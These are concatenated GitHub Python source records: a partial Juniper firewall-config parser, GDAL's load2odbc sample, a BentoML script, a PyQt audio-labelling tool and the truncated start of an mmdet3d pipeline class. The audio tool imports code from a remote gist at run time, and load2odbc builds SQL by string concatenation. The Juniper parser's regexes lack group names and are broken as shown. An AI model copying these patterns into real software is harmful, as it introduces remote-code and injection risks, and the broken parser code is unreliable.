def add(self, line):\n r = re.compile(r\"(?Pset|deactivate) interfaces (?P.+)\")\n m = r.fullmatch(line)\n if not m:\n print(f\"Unknown line: {line}\")\n raise Exception()\n\n command = m.group(\"command\") # 扱いに困っている\n param = m.group(\"param\")\n r1 = re.compile(r\"(?P[^ ]+) unit (?P[^ ]+) family inet filter (?P[^ ]+) (?P.+)\")\n m1 = r.fullmatch(param)\n r2 = re.compile(r\"(?P.+)\")\n m2 = r.fullmatch(param)\n if m1:\n interface = m1.group(\"interface\")\n unit = m1.group(\"unit\")\n direction = m1.group(\"direction\")\n filtername = m1.group(\"filtername\")\n self._interface.setdefault(interface, OrderedDict())\n self._interface[interface].setdefault(unit, OrderedDict())\n self._interface[interface][unit][direction] = filtername\n elif m2:\n description = m2.group(\"description\")\n self._interface.setdefault() # ここから\n\nclass FirewallFilters():\n def __init__(self):\n self._filters = OrderedDict()\n\n def is_supported(self, line):\n if line.startswith(\"set firewall filter\"):\n return True\n elif line.startswith(\"deactivate firewall filter\"):\n return True\n else:\n return False\n\n def _parse_param_text(self, paramtext):\n result = {}\n param = paramtext\n r1 = re.compile(r\"\"\"\n from\n \\s(?Psource-address|destination-address|source-port|destination-port|protocol)\n \\s(?P.+)\n \"\"\", re.X)\n m1 = r1.fullmatch(param)\n r2 = re.compile(f\"from (?Ptcp-initial|tcp-established)\")\n m2 = r2.fullmatch(param)\n r3 = re.compile(f\"then (?Pcount|forwarding-class|loss-priority) (?P.+)\")\n m3 = r3.fullmatch(param)\n r4 = re.compile(f\"then (?Paccept|discard|syslog|log)\")\n m4 = r4.fullmatch(param)\n if m1:\n key = m1.group(\"key\")\n value = m1.group(\"value\")\n result.setdefault(key, [])\n result[key].append(value)\n elif m2:\n key = m2.group(\"key\")\n result[key] = True\n elif m3:\n action = m3.group(\"action\")\n value = m3.group(\"value\")\n result[action] = value\n elif m4:\n action = m4.group(\"action\")\n result[action] = True\n else:\n raise Exception(f\"cant parse {paramtext}\")\n return result\n\n def add(self, line):\n r = re.compile(r\"(?Pset|deactivate) firewall filter (?P[^ ]+) term (?P[^ ]+) (?P.+)\")\n m = r.fullmatch(line)\n if not m:\n print(f\"Unknown line: {line}\")\n raise Exception()\n\n command = m.group(\"command\")\n filtername = m.group(\"filtername\")\n termname = m.group(\"termname\")\n paramtext = m.group(\"param\")\n paramdict = self._parse_param_text(paramtext)\n\n if command == \"set\":\n self._filters.setdefault(filtername, OrderedDict())\n self._filters[filtername].setdefault(termname, {})\n self._filters[filtername][termname].update(paramdict)\n else:\n self._filters[filtername][termname] = [\n _paramdict\n for _paramdict in self._filters[filtername][termname]\n if _paramdict != paramdict\n ]\n\nclass JuniperConfigStore:\n def __init__(self):\n self._interfaces = Interfaces()\n self._firewallfilters = FirewallFilters()\n \n def load(self, text):\n lines = text.split('\\n')\n while len(lines) > 0:\n line = lines.pop(0)\n if self._interfaces.is_supported(line):\n self._interfaces.add(line)\n elif self._firewallfilters.is_supported(line):\n self._firewallfilters.add(line)\n else:\n print(f\"Not supported. {line}\")\n\n return self\n","repo_name":"fkshom/misc","sub_path":"juniparse/src/juniparse/loader2.py","file_name":"loader2.py","file_ext":"py","file_size_in_byte":4494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"38162072637","text":"import sys\n\nfrom osgeo import ogr\n\n#############################################################################\n\n\ndef Usage():\n print(\"Usage: load2odbc.py [-where attr_filter] infile odbc_dsn layer\")\n print(\"\")\n return 2\n\n\ndef main(argv=sys.argv):\n extents_flag = 1\n infile = None\n odbc_dsn = None\n layername = None\n attr_filter = None\n\n i = 1\n while i < len(argv):\n if argv[i] == \"-where\":\n i = i + 1\n attr_filter = argv[i]\n elif infile is None:\n infile = argv[i]\n elif odbc_dsn is None:\n odbc_dsn = argv[i]\n elif layername is None:\n layername = argv[i]\n else:\n return Usage()\n\n i = i + 1\n\n if layername is None:\n return Usage()\n\n #############################################################################\n # Open the datasource to operate on.\n\n in_ds = ogr.Open(infile, update=0)\n\n in_layer = in_ds.GetLayerByName(layername)\n\n if in_layer is None:\n print(\"Did not find layer: \", layername)\n return 1\n\n if attr_filter is not None:\n in_layer.SetAttributeFilter(attr_filter)\n\n #############################################################################\n # Connect to ODBC DSN.\n\n if odbc_dsn == \"stdout\":\n out_ds = None\n else:\n if len(odbc_dsn) < 6 or odbc_dsn[:5] != \"ODBC:\":\n odbc_dsn = \"ODBC:\" + odbc_dsn\n\n out_ds = ogr.Open(odbc_dsn)\n\n if out_ds is None:\n print(\"Unable to connect to \" + odbc_dsn)\n return 1\n\n #############################################################################\n # Fetch layer definition, and defined output table on the same basis.\n\n try:\n cmd = \"drop table \" + layername\n if out_ds is None:\n print(cmd)\n else:\n out_ds.ExecuteSQL(cmd)\n except Exception:\n pass\n\n defn = in_layer.GetLayerDefn()\n\n cmd = \"CREATE TABLE \" + layername + \"( OGC_FID INTEGER, WKT_GEOMETRY MEMO\"\n\n if extents_flag:\n cmd = cmd + \", XMIN NUMBER, YMIN NUMBER, XMAX NUMBER, YMAX NUMBER\"\n\n for iField in range(defn.GetFieldCount()):\n fielddef = defn.GetFieldDefn(iField)\n cmd = cmd + \", \" + fielddef.GetName()\n if fielddef.GetType() == ogr.OFTInteger:\n cmd = cmd + \" INTEGER\"\n elif fielddef.GetType() == ogr.OFTString:\n cmd = cmd + \" TEXT\"\n elif fielddef.GetType() == ogr.OFTReal:\n cmd = cmd + \" NUMBER\"\n else:\n cmd = cmd + \" TEXT\"\n\n cmd = cmd + \")\"\n\n if out_ds is None:\n print(cmd)\n else:\n print(\"ExecuteSQL: \", cmd)\n result = out_ds.ExecuteSQL(cmd)\n if result is not None:\n out_ds.ReleaseResultSet(result)\n\n #############################################################################\n # Read all features in the line layer, holding just the geometry in a hash\n # for fast lookup by TLID.\n\n in_layer.ResetReading()\n feat = in_layer.GetNextFeature()\n while feat is not None:\n cmd_start = \"INSERT INTO \" + layername + \" ( OGC_FID \"\n cmd_end = \") VALUES (%d\" % feat.GetFID()\n\n geom = feat.GetGeometryRef()\n if geom is not None:\n cmd_start = cmd_start + \", WKT_GEOMETRY\"\n cmd_end = cmd_end + \", '\" + geom.ExportToWkt() + \"'\"\n\n if extents_flag and geom is not None:\n extent = geom.GetEnvelope()\n cmd_start = cmd_start + \", XMIN, XMAX, YMIN, YMAX\"\n cmd_end = cmd_end + (\", %.7f, %.7f, %.7f, %.7f\" % extent)\n\n for iField in range(defn.GetFieldCount()):\n fielddef = defn.GetFieldDefn(iField)\n if feat.IsFieldSet(iField) != 0:\n cmd_start = cmd_start + \", \" + fielddef.GetName()\n\n if fielddef.GetType() == ogr.OFTInteger:\n cmd_end = cmd_end + \", \" + feat.GetFieldAsString(iField)\n elif fielddef.GetType() == ogr.OFTString:\n cmd_end = cmd_end + \", '\" + feat.GetFieldAsString(iField) + \"'\"\n elif fielddef.GetType() == ogr.OFTReal:\n cmd_end = cmd_end + \", \" + feat.GetFieldAsString(iField)\n else:\n cmd_end = cmd_end + \", '\" + feat.GetFieldAsString(iField) + \"'\"\n\n cmd = cmd_start + cmd_end + \")\"\n\n if out_ds is None:\n print(cmd)\n else:\n print(\"ExecuteSQL: \", cmd)\n out_ds.ExecuteSQL(cmd)\n\n feat.Destroy()\n feat = in_layer.GetNextFeature()\n\n #############################################################################\n # Cleanup\n\n in_ds.Destroy()\n if out_ds is not None:\n out_ds.Destroy()\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv))\n","repo_name":"OSGeo/gdal","sub_path":"swig/python/gdal-utils/osgeo_utils/samples/load2odbc.py","file_name":"load2odbc.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","stars":4154,"dataset":"github-code","pt":"19"} +{"seq_id":"29886997969","text":"import bentoml\nimport transformers\nimport logging\n\nlogging.basicConfig(level=logging.WARN)\n\n\nif __name__ == \"__main__\":\n # Create Transformers pipelines from pretrained models\n pipeline1 = transformers.pipeline(task=\"text-classification\", model=\"bert-base-uncased\", tokenizer=\"bert-base-uncased\")\n pipeline2 = transformers.pipeline(task=\"text-classification\", model=\"distilbert-base-uncased-finetuned-sst-2-english\")\n pipeline3 = transformers.pipeline(task=\"text-classification\", model=\"ProsusAI/finbert\")\n\n # Save models to BentoML local model store\n m1 = bentoml.transformers.save_model(\"bert-base-uncased\", pipeline1)\n m2 = bentoml.transformers.save_model(\"distilbert\", pipeline2)\n m3 = bentoml.transformers.save_model(\"prosusai-finbert\", pipeline3)\n\n print(f\"Model saved: {m1}, {m2}, {m3}\")\n","repo_name":"bentoml/gallery","sub_path":"inference_graph/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"19"} +{"seq_id":"37985374614","text":"from typing import Callable, Union\nfrom PyQt6.QtCore import QCoreApplication, Qt\nfrom PyQt6.QtGui import QAction, QIcon, QKeySequence\nfrom PyQt6.QtWidgets import QApplication, QMessageBox, QDoubleSpinBox, QSpinBox, QFileDialog, QLineEdit, QMainWindow, QLabel, QGridLayout, QStatusBar, QStyle, QWidget, QToolBar, QProgressBar\nfrom pathlib import Path\nimport warnings\nfrom numpy._typing import NDArray\nimport soundfile as sf\nimport numpy as np\nimport pyqtgraph as pg\nimport sounddevice as sd\nimport pandas as pd\nfrom sklearn.neighbors import KDTree\n# from syllable_detection import syllable_detection\n\nclass AudioParamDoubleSpinBox(QDoubleSpinBox):\n \"\"\"\n Spin box for audio parameters.\n \"\"\"\n def __init__(self, parameter: float,\n update_parameter: Callable,\n prefix: str,\n suffix: str,\n step_size: float = 0.01,\n param_maximum: Union[float, int] = 1) -> None:\n super().__init__()\n self.setPrefix(prefix)\n self.setSuffix(suffix)\n self.setMinimum(0)\n self.setMaximum(param_maximum)\n self.setValue(parameter)\n self.setSingleStep(step_size)\n self.valueChanged.connect(update_parameter)\n return\n\n\nclass AudioParamSpinBox(QSpinBox):\n \"\"\"\n Spin box for audio parameters.\n \"\"\"\n def __init__(self, parameter: int,\n update_parameter: Callable,\n prefix: str,\n suffix: str,\n step_size: int = 1000,\n param_maximum: int = int(1e6)) -> None:\n super().__init__()\n self.setPrefix(prefix)\n self.setSuffix(suffix)\n self.setMinimum(0)\n self.setMaximum(param_maximum)\n self.setValue(parameter)\n self.setSingleStep(step_size)\n self.valueChanged.connect(update_parameter)\n return\n\n\nclass Learner():\n \"\"\"\n Simple k-d tree-based prediction of value corresponding to a vector.\n \"\"\"\n def __init__(self,\n vectors: NDArray[np.float64] = np.array([[]], dtype=np.float64),\n values: NDArray[np.string_] = np.array([], dtype=np.string_),\n gate: float = 0.01,\n min_length: int = 2000) -> None:\n \"\"\"\n :param vectors: Any already determined vectors, usually frequency vectors.\n :param values: Any values corresponding to aforementioned vectors.\n :param gate: Noise gate used for filtering new vectors.\n :param min_length: Minimum length of a non-noise segment.\n \"\"\"\n self.vectors: NDArray[np.float64] = vectors\n self.values: NDArray[np.string_] = values\n self.gate: float = gate\n self.min_length: int = min_length\n self._regenerate()\n self.tree: Union[None, KDTree] = None\n return\n\n def _regenerate(self) -> None:\n \"\"\"\n Regenerate k-d tree.\n \"\"\"\n if np.size(self.vectors, 1) < 2:\n self.tree: Union[None, KDTree] = None\n else:\n self.tree: Union[None, KDTree] = KDTree(self.vectors)\n return\n\n def add_vector(self, waveform: NDArray[np.float64], fs: int, value: str) -> None:\n \"\"\"\n Add new vector to Learner tree.\n\n :param waveform: Vector's waveform. Spectogram is computed after noise gate filtering.\n :param fs: Sampling frequency.\n :param value: Value corresponding to vector.\n \"\"\"\n filtered: NDArray[np.float64] = np.array([], dtype=np.float64)\n is_noise: bool = False\n since_noise: int = 0\n # I don't know if this logic works yet\n for i in range(len(waveform)):\n w: float = np.abs(waveform[i])\n if w > self.gate:\n filtered: NDArray[np.float64] = np.append(filtered, w)\n is_noise: bool = False\n since_noise: int = 0\n else:\n if not is_noise:\n if since_noise > self.min_length:\n is_noise: bool = True\n np.append(filtered, waveform[i - since_noise])\n since_noise: int = 0\n else:\n since_noise += 1\n if len(filtered) > fs:\n warnings.warn(\"Filtered audio vector is greater than sampling frequency and will be trimmed.\")\n elif len(filtered) == 0:\n return\n filtered: NDArray[np.float64] = waveform\n freq: NDArray[np.float64] = np.array([np.abs(np.fft.fft(filtered, fs))])\n if len(self.vectors[0]) > 0:\n self.vectors: NDArray[np.float64] = np.concatenate((self.vectors, freq))\n else:\n self.vectors: NDArray[np.float64] = freq\n self.values: NDArray[np.string_] = np.append(self.values, value)\n self._regenerate()\n return\n\n def predict(self, waveform: NDArray[np.float64]) -> tuple[float, str]:\n \"\"\"\n Predict a value for given waveform. This is a tree query wrapper.\n\n The distance returned here can be interpreted as confidence.\n\n :param waveform: Waveform to match a value for.\n :returns: Tuple of distance and matched value.\n \"\"\"\n if self.tree is not None:\n dist, i = self.tree.query(waveform.reshape((1, -1)), k=1)\n return dist, self.values[int(i)]\n return np.inf, \" \"\n\n def remove_previous(self) -> None:\n \"\"\"\n Remove the last entry's vector and value from tree.\n \"\"\"\n self.vectors: NDArray[np.float64] = np.delete(self.vectors, -1)\n self.values: NDArray[np.string_] = np.delete(self.values, -1)\n self._regenerate()\n return\n\n\nclass MainWindow(QMainWindow):\n def __init__(self) -> None:\n super().__init__()\n\n self.title: str = \"Label Audio Recording Segments\"\n self.abbreviation: str = \"LARS\"\n\n # audio parameter defaults\n self.fname: str = \"\"\n self.fs: int = 44100\n self.audio_full: NDArray[np.float64] = np.array([])\n self.audio: NDArray[np.float64]= np.array([])\n self.frame_length: int = round(self.fs / 2)\n self.overlap: int = 0\n self.position = 0\n self.frames = None\n self.frame_index = 0\n self.fft_display_func = np.abs\n\n self.learner = None\n\n # all the labels entered so far\n self.data = pd.DataFrame(columns=[\"Start\", \"End\", \"Labels\"])\n\n self.setWindowTitle(self.abbreviation)\n\n # self.layout\n self.layout = QGridLayout()\n\n # current file name\n self.fnameLabel = QLabel(\"No file selected\")\n\n self.layout.addWidget(self.fnameLabel, 0, 0)\n\n # parameter spin boxes\n self.frame_length_box = AudioParamSpinBox(self.frame_length, self.update_frame_length, \"Frame length: \", \" Samples\")\n self.layout.addWidget(self.frame_length_box, 1, 0)\n\n self.overlap_box = AudioParamSpinBox(self.overlap, self.update_overlap, \"Overlap: \", \" Samples\")\n self.layout.addWidget(self.overlap_box, 1, 1)\n\n # progress bar\n self.progress_bar = QProgressBar(self)\n self.layout.addWidget(self.progress_bar, 2, 0, 1, 2)\n\n # plotting objects\n self.graph_widget = pg.PlotWidget()\n self.layout.addWidget(self.graph_widget, 3, 0)\n\n self.fft_widget = pg.PlotWidget()\n self.layout.addWidget(self.fft_widget, 3, 1)\n\n # entry\n self.number_of_visible_labels = 70\n self.previous_symbol = \"\"\n self.previous_text = \"\"\n self.previous_box = QLabel(self.previous_text)\n self.previous_box.setAlignment(Qt.AlignmentFlag.AlignRight)\n self.layout.addWidget(self.previous_box, 4, 0)\n\n self.entry_box = QLineEdit()\n self.entry_box.setPlaceholderText(\"Current symbol(s)\")\n self.entry_box.returnPressed.connect(self.set_entry)\n self.layout.addWidget(self.entry_box, 4, 1)\n\n # menu\n menu = self.menuBar()\n file_menu = menu.addMenu(\"File\")\n settings_menu = menu.addMenu(\"Settings\")\n help_menu = menu.addMenu(\"Help\")\n\n # file picking\n file_picker = QAction(self.get_icon(\"SP_DirOpenIcon\"), \"Open File\", self)\n file_picker.setStatusTip(\"Choose audio file to process\")\n file_picker.triggered.connect(self.on_file_tool_click)\n file_picker.setShortcut(QKeySequence(\"Ctrl+o\"))\n file_menu.addAction(file_picker)\n\n # save\n save_action = QAction(self.get_icon(\"SP_DriveFDIcon\"), \"Save File\", self)\n save_action.setStatusTip(\"Save segment labels to file\")\n save_action.triggered.connect(self.save_file)\n save_action.setShortcut(QKeySequence(\"Ctrl+s\"))\n file_menu.addAction(save_action)\n\n file_menu.addSeparator()\n\n # loading a frames file\n load_frames_action = QAction(self.get_icon(\"SP_FileDialogDetailedView\"), \"Load frames\",self)\n load_frames_action.setStatusTip(\"Load frames file\")\n load_frames_action.triggered.connect(self.load_frames)\n file_menu.addAction(load_frames_action)\n\n file_menu.addSeparator()\n\n # quit\n quit_action = QAction(self.get_icon(\"SP_TitleBarCloseButton\"), \"Quit\", self)\n quit_action.triggered.connect(QCoreApplication.instance().quit)\n quit_action.triggered.connect(self.close)\n quit_action.setShortcut(QKeySequence(\"Ctrl+q\"))\n file_menu.addAction(quit_action)\n\n # fft display\n fft_menu = settings_menu.addMenu(\"FFT Plot\")\n self.fft_abs_action = QAction(\"Magnitude\", self)\n self.fft_abs_action.triggered.connect(self.set_fft_abs)\n self.fft_abs_action.setCheckable(True)\n self.fft_abs_action.setChecked(True)\n fft_menu.addAction(self.fft_abs_action)\n self.fft_angle_action = QAction(\"Phase\", self)\n self.fft_angle_action.triggered.connect(self.set_fft_angle)\n self.fft_angle_action.setCheckable(True)\n fft_menu.addAction(self.fft_angle_action)\n\n # about\n about_action = QAction(f\"About {self.abbreviation}\", self)\n about_action.triggered.connect(self.about)\n help_menu.addAction(about_action)\n\n # # how to\n # usageAction = QAction(\"Usage\", self)\n # usageAction.triggered.connect(self.usage)\n # help_menu.addAction(usageAction)\n\n # toolbar\n toolbar = QToolBar(\"Main Toolbar\")\n self.addToolBar(toolbar)\n\n # file picking\n toolbar.addAction(file_picker)\n\n # save\n toolbar.addAction(save_action)\n\n # loading a frames file\n toolbar.addAction(load_frames_action)\n\n toolbar.addSeparator()\n\n # play sound\n play_button = QAction(self.get_icon(\"SP_MediaPlay\"), \"Play frame\", self)\n play_button.setStatusTip(\"Play audio frame\")\n play_button.triggered.connect(self.play_sound)\n play_button.setShortcut(QKeySequence(\"Ctrl+p\"))\n toolbar.addAction(play_button)\n\n # step backward\n bwd_button = QAction(self.get_icon(\"SP_MediaSkipBackward\"), \"Step one frame back\", self)\n bwd_button.setStatusTip(\"Step one frame backwards\")\n bwd_button.triggered.connect(self.step_backward)\n bwd_button.setShortcut(QKeySequence(\"Backspace\"))\n toolbar.addAction(bwd_button)\n\n # learning\n learn_button = QAction(self.get_icon(\"SP_DriveNetIcon\"), \"Enable learning\", self)\n learn_button.setStatusTip(\"Enable frequency learning\")\n learn_button.setCheckable(True)\n learn_button.triggered.connect(self.toggle_learning)\n toolbar.addAction(learn_button)\n\n self.learning_gate = 0\n self.learning_gate_box = AudioParamDoubleSpinBox(self.learning_gate, self.update_learning_gate, \"Noise gate: \", \"\", 0.01, 1)\n # self.layout.addWidget(self.learning_gate_box, 5, 0)\n\n self.distance = 5000\n self.distance_box = AudioParamSpinBox(self.distance, self.update_distance, \"Maximum distance: \", \"\", 50, 10000)\n # self.layout.addWidget(self.distance_box, 5, 1)\n\n # # automatic estimation via syllable detection (doesn't really work yet)\n # estimationButton = QAction(self.get_icon(\"SP_BrowserReload\"), \"Estimate frames\", self)\n # estimationButton.setStatusTip(\"Estimate frames\")\n # estimationButton.triggered.connect(self.frames_estimation)\n # toolbar.addAction(estimationButton)\n\n self.setStatusBar(QStatusBar(self))\n\n # to container and set as main widget\n container = QWidget()\n container.setLayout(self.layout)\n\n self.setCentralWidget(container)\n\n return\n\n def soft_reset(self) -> None:\n \"\"\"\n Reset everything other than variables a user would've had to change from the original.\n \"\"\"\n self.position = 0\n self.previous_symbol = \"\"\n self.previous_text = \"\"\n self.graph_widget.clear()\n self.fft_widget.clear()\n self.previous_box.clear()\n self.entry_box.clear()\n self.audio_step()\n return\n\n def reset(self) -> None:\n \"\"\"\n Reset all variables.\n \"\"\"\n self.fname = \"\"\n self.fs = 44100\n self.audio_full = np.array([])\n self.audio= np.array([])\n self.frame_length = round(self.fs / 2)\n self.overlap = 0\n self.position = 0\n self.previous_symbol = \"\"\n self.previous_text = \"\"\n self.graph_widget.clear()\n self.fft_widget.clear()\n self.previous_box.clear()\n return\n\n def get_icon(self, name) -> QIcon:\n \"\"\"\n Get Qt icons by name.\n See https://doc.qt.io/qt-6/qstyle.html#StandardPixmap-enum for names.\n \"\"\"\n return self.style().standardIcon(getattr(QStyle.StandardPixmap, name))\n\n def on_file_tool_click(self) -> None:\n \"\"\"\n Open a new audio file.\n \"\"\"\n filename, _ = QFileDialog.getOpenFileName(\n self,\n \"Select a File\",\n \"\",\n \"Audio (*.wav *.flac *.opus *.m4a *.ogg *.mp3 *.mka);;Any (*)\"\n )\n if filename:\n self.reset()\n path = Path(filename)\n self.fname = path.name\n self.audio_full, self.fs = sf.read(str(path))\n if np.size(self.audio_full, 1) == 2:\n self.audio_full = (self.audio_full[:, 0] + self.audio_full[:, 1]) / 2\n self.fnameLabel.setText(f\"Current file: {self.fname} ({self.fs} Hz)\")\n self.audio_step()\n return\n\n def audio_step(self) -> None:\n \"\"\"\n Step forward one frame length in audio.\n \"\"\"\n start = max(self.position - self.overlap, 0)\n end = min(self.position + self.frame_length + self.overlap, len(self.audio_full) - 1)\n self.audio = self.audio_full[start:end]\n self.play_sound()\n self.update_plots()\n self.progress_bar.setValue(int((self.position) / (len(self.audio_full) - self.frame_length) * 100))\n if self.learner is not None:\n dist, pred = self.learner.predict(np.abs(np.fft.fft(self.audio, n=self.fs)))\n if dist < self.distance:\n self.entry_box.setText(pred)\n return\n\n def play_sound(self) -> None:\n \"\"\"\n Play current frame.\n \"\"\"\n sd.play(self.audio, self.fs)\n return\n\n def update_plots(self) -> None:\n \"\"\"\n Update the plot widgets with current frame.\n \"\"\"\n self.graph_widget.clear()\n self.graph_widget.plot(np.linspace(max(self.position - self.overlap, 0), min(len(self.audio_full) - 1, self.position + self.frame_length + self.overlap), num=len(self.audio)), self.audio.flatten())\n if self.overlap:\n if self.position > 0:\n self.graph_widget.addItem(pg.InfiniteLine(pos=self.position, label=\"Previous Frame\", labelOpts={\"position\": 0.1}))\n if self.position + self.frame_length < len(self.audio_full) - 1:\n self.graph_widget.addItem(pg.InfiniteLine(pos=self.position + self.frame_length, label=\"Next Frame\", labelOpts={\"position\": 0.1}))\n\n self.fft_widget.clear()\n fftsegment = self.audio_full[self.position:min(len(self.audio_full), self.position + self.frame_length)]\n if len(fftsegment) and max(fftsegment) > 0:\n fft = np.fft.fft(fftsegment, n=self.fs)\n self.fft_widget.plot(self.fft_display_func(fft).flatten()[:round(self.fs / 2)])\n return\n\n def step_forward(self) -> None:\n \"\"\"\n Step one frame forward.\n \"\"\"\n if self.frames is None:\n self.position += self.frame_length\n self.position = min(self.position, len(self.audio_full) - 1)\n else:\n self.frame_index += 1\n if len(self.frames) > self.frame_index:\n self.position = self.frames[self.frame_index][0]\n self.frame_length = self.frames[self.frame_index][1] - self.position\n else:\n self.on_done()\n self.audio_step()\n return\n\n def step_backward(self) -> None:\n \"\"\"\n Step one frame backwards, removing the previous text.\n \"\"\"\n if self.frames is None:\n self.position -= self.frame_length\n self.position = max(self.position, 0)\n else:\n self.frame_index = max(0, self.frame_index - 1)\n self.position = self.frames[self.frame_index][0]\n self.frame_length = self.frames[self.frame_index][1] - self.position\n self.audio_step()\n # temporarily update previous_symbol with last data entry label\n # this enables multiple steps back\n self.previous_symbol = self.data.iloc[-1][\"Labels\"]\n self.previous_text = self.previous_text[:-len(self.previous_symbol)]\n self.previous_symbol = \"\"\n self.update_previous()\n self.data = self.data[:-1]\n return\n\n def update_previous(self) -> None:\n \"\"\"\n Add new label to displayed text and trim if necessary.\n \"\"\"\n self.previous_text += self.previous_symbol + \"|\"\n if len(self.previous_text) > self.number_of_visible_labels:\n self.previous_text = self.previous_text[-self.number_of_visible_labels:]\n self.previous_box.setText(self.previous_text)\n return\n\n def set_entry(self) -> None:\n \"\"\"\n Set label for current frame. If current frame is the last frame, a save prompt is opened.\n \"\"\"\n self.previous_symbol = self.entry_box.text()\n if self.previous_symbol == \"\":\n self.previous_symbol = \" \"\n # add to data\n new_row = pd.DataFrame([{\"Start\": self.position, \"End\": min(self.position + self.frame_length, len(self.audio_full)), \"Labels\": self.previous_symbol}])\n self.data = pd.concat([self.data, new_row])\n # add to learner if enabled\n if self.learner is not None:\n self.learner.add_vector(self.audio, self.fs, self.previous_symbol)\n self.update_previous()\n self.entry_box.clear()\n self.step_forward()\n # in this case we're done\n if self.frames is None and self.position == len(self.audio_full) - 1:\n self.on_done()\n return\n\n def on_done(self) -> None:\n \"\"\"\n Open save prompt if audio file is fully labeled.\n \"\"\"\n shouldSave = QMessageBox(self)\n shouldSave.setWindowTitle(\"Done!\")\n shouldSave.setText(\"You have labeled all segments. Would you like to save your labels to a CSV?\")\n shouldSave.setStandardButtons(QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No)\n shouldSave.setIcon(QMessageBox.Icon.Question)\n if shouldSave.exec() == QMessageBox.StandardButton.Yes:\n self.saveCSV()\n return\n\n def update_frame_length(self) -> None:\n \"\"\"\n Frame length changed by user.\n \"\"\"\n self.frame_length = self.frame_length_box.value()\n # I DON'T KNOW IF THIS WILL WORK FINE WILL NEED TO TEST MORE\n self.audio_step()\n # self.soft_reset()\n return\n\n def update_overlap(self) -> None:\n \"\"\"\n Overlap changed by user.\n \"\"\"\n self.overlap = self.overlap_box.value()\n self.audio_step()\n return\n\n # def frames_estimation(self):\n # print(syllable_detection(self.audio_full, self.fs))\n # return\n\n def about(self) -> None:\n \"\"\"\n About box.\n Mostly a placeholder.\n \"\"\"\n QMessageBox.about(self, \"About \" + self.title, f\"{self.title} ({self.abbreviation}) is GNU GPLv3-licensed and was written in Python utilizing the following nonstandard libraries: NumPy, Pandas, PyQt6, pyqtgraph, scipy, sounddevice, soundfile.\\n\\nAuthors:\\nPatrick Munnich.\")\n return\n\n def save_file(self) -> None:\n \"\"\"\n Save labels to CSV or WAV file.\n \"\"\"\n # need something here\n # if not self.fname:\n filename, _ = QFileDialog.getSaveFileName(\n self,\n \"Save File\",\n str(Path(self.fname).with_suffix(\".csv\")),\n \"Comma-separated values (*.csv *.wav)\"\n )\n if filename:\n if filename.endswith(\".csv\"):\n self.data.to_csv(Path(filename), index=False)\n elif filename.endswith(\".wav\"):\n import httpimport\n with httpimport.remote_repo(\"https://gist.github.com/josephernest/3f22c5ed5dabf1815f16efa8fa53d476/raw/ccea34c6b836fd85c9c0c82d34ffbd02313b30b0\"):\n import wavfile\n markers = [{\"position\": self.data.iloc[i][\"Start\"], \"label\": self.data.iloc[i][\"Labels\"]} for i in range(self.data.shape[0])]\n wavfile.write(Path(filename), self.fs, self.audio_full, markers=markers)\n else:\n filename += \".csv\"\n self.data.to_csv(Path(filename), index=False)\n return\n\n def load_frames(self) -> None:\n \"\"\"\n Load a CSV file containing frames for audio file.\n \"\"\"\n filename, _ = QFileDialog.getOpenFileName(\n self,\n \"Select Frames File\",\n \"\",\n \"Comma-separated values (*.csv)\"\n )\n if filename:\n # convert to array of arrays\n self.frames = pd.read_csv(str(Path(filename))).to_numpy(dtype=int)\n self.position = self.frames[0][0]\n self.frame_length = self.frames[0][1] - self.position\n self.audio_step()\n return\n\n def toggle_learning(self) -> None:\n if self.learner is None:\n self.learner = Learner()\n self.layout.addWidget(self.learning_gate_box, 5, 0)\n self.layout.addWidget(self.distance_box, 5, 1)\n else:\n self.learner = None\n # this is hacky - should be saving a second layout\n self.learning_gate_box.setParent(None)\n self.distance_box.setParent(None)\n return\n\n def update_learning_gate(self) -> None:\n self.learner.gate = self.learning_gate_box.value()\n return\n\n def update_distance(self) -> None:\n self.distance = self.distance_box.value()\n return\n\n def set_fft_abs(self) -> None:\n self.fft_display_func = np.abs\n self.fft_angle_action.setChecked(False)\n self.update_plots()\n return\n\n def set_fft_angle(self) -> None:\n self.fft_display_func = np.angle\n self.fft_abs_action.setChecked(False)\n self.update_plots()\n return\n\nif __name__ == \"__main__\":\n app = QApplication([])\n window = MainWindow()\n window.show()\n app.exec()\n","repo_name":"munnich/LARS","sub_path":"src/lars.py","file_name":"lars.py","file_ext":"py","file_size_in_byte":23619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"71501463722","text":"import numpy as np\nimport warnings\nfrom mmcv import is_tuple_of\nfrom mmcv.utils import build_from_cfg\n\nfrom mmdet3d.core import VoxelGenerator\nfrom mmdet3d.core.bbox import (CameraInstance3DBoxes, DepthInstance3DBoxes,\n LiDARInstance3DBoxes, box_np_ops)\nfrom mmdet.datasets.builder import PIPELINES\nfrom mmdet.datasets.pipelines import RandomFlip\nimport mmcv\n\n@PIPELINES.register_module()\nclass MyGlobalRotScaleTrans(object):\n \"\"\"Apply global rotation, scaling and translation to a 3D scene.\n\n Args:\n rot_range (list[float]): Range of rotation angle.\n Defaults to [-0.78539816, 0.78539816] (close to [-pi/4, pi/4]).\n scale_ratio_range (list[float]): Range of scale ratio.\n Defaults to [0.95, 1.05].\n translation_std (list[float]): The standard deviation of translation\n noise. This applies random translation to a scene by a noise, which\n is sampled from a gaussian distribution whose standard deviation\n is set by ``translation_std``. Defaults to [0, 0, 0]\n shift_height (bool): Whether to shift height.\n (the fourth dimension of indoor points) when scaling.\n Defaults to False.\n \"\"\"\n\n def __init__(self,\n rot_range=[-0.78539816, 0.78539816],\n scale_ratio_range=[0.95, 1.05],\n translation_std=[0, 0, 0],\n shift_height=False):\n seq_types = (list, tuple, np.ndarray)\n if not isinstance(rot_range, seq_types):\n assert isinstance(rot_range, (int, float)), \\\n f'unsupported rot_range type {type(rot_range)}'\n rot_range = [-rot_range, rot_range]\n self.rot_range = rot_range\n\n assert isinstance(scale_ratio_range, seq_types), \\\n f'unsupported scale_ratio_range type {type(scale_ratio_range)}'\n self.scale_ratio_range = scale_ratio_range\n\n if not isinstance(translation_std, seq_types):\n assert isinstance(translation_std, (int, float)), \\\n f'unsupported 